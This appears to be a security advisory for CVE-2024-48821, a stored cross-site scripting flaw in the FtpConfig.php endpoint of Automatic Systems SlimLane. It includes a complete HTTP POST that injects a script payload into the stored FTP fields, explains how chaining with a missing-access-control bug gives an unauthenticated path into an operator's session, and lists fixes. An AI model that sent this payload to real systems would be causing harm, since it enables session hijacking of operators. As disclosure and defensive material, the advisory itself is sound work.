CVE-2024-48821: Stored Cross-Site Scripting in Automatic Systems SlimLane (FtpConfig.php)

Summary

The same FtpConfig.php endpoint on the affected Automatic Systems SlimLane build does not sanitise the values it stores. An attacker can place a JavaScript payload into the host, user or password fields, which is persisted and then executed whenever the FTP configuration page is subsequently viewed — a stored (persistent) cross-site scripting vulnerability.

This vulnerability is tracked as CVE-2024-48821. The authoritative record is on the CVE List (CVE-2024-48821), with severity metrics on the National Vulnerability Database.

Technical detail

Submitting the configuration with script in the stored fields persists the payload:

POST /FtpConfig.php HTTP/1.1
Host: <IP>
Content-Length: 200
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Connection: keep-alive

{"fct":"save_ftp_config","enabled":true,"host":"\"><script>alert(document.domain)</script>","user":"\"><script>alert(document.domain)</script>","password":"\"><script>alert(document.domain)</script>"}

On revisiting the FTP configuration page the stored script executes in the context of the interface. Critically, it also fires for any logged-in operator who views the configuration, so an unauthenticated attacker can stage a payload that later runs in an administrator's session.

Impact

Because the payload runs in the context of an authenticated operator, it can be used to perform actions as that operator, capture session material, or pivot deeper into the management interface. Stored XSS chained with the missing access control on the same page (CVE-2024-48822) is a particularly clean unauthenticated-to-operator path.

Remediation

• Apply contextual output encoding wherever stored configuration values are rendered back into the page.
• Validate and constrain configuration inputs on the server side.
• Gate the endpoint behind authentication and authorisation so untrusted input cannot be stored in the first place (see CVE-2024-48822).

Common questions